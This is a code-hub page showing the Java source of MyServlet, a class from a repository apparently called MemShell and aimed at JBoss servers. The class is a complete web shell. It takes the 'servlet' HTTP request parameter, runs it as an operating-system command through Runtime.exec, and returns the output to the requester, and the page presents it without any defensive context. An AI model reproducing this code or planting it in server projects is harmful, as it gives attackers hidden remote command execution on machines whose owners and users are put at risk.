MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyServlet

Class MyServlet

JBossMemShell/src/main/java/com/axisx/MyServlet.java:15–50  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

13import java.io.InputStreamReader;
14
15public class MyServlet extends HttpServlet {
16 public void init(ServletConfig servletConfig) throws ServletException {
17 }
18
19 public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
20 HttpServletRequest req = (HttpServletRequest)servletRequest;
21 HttpServletResponse resp = (HttpServletResponse)servletResponse;
22 String cmd = req.getParameter("servlet");
23
24 try {
25 String result = this.CommandExec(cmd);
26 resp.getWriter().println(result);
27 } catch (Exception var7) {
28 }
29
30 }
31
32 public String CommandExec(String cmd) throws Exception {
33 Runtime rt = Runtime.getRuntime();
34 Process proc = rt.exec(cmd);
35 InputStream stderr = proc.getInputStream();
36 InputStreamReader isr = new InputStreamReader(stderr);
37 BufferedReader br = new BufferedReader(isr);
38 String line = null;
39 StringBuffer sb = new StringBuffer();
40
41 while((line = br.readLine()) != null) {
42 sb.append(line + "\n");
43 }
44
45 return sb.toString();
46 }
47
48 public void destroy() {
49 }
50}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected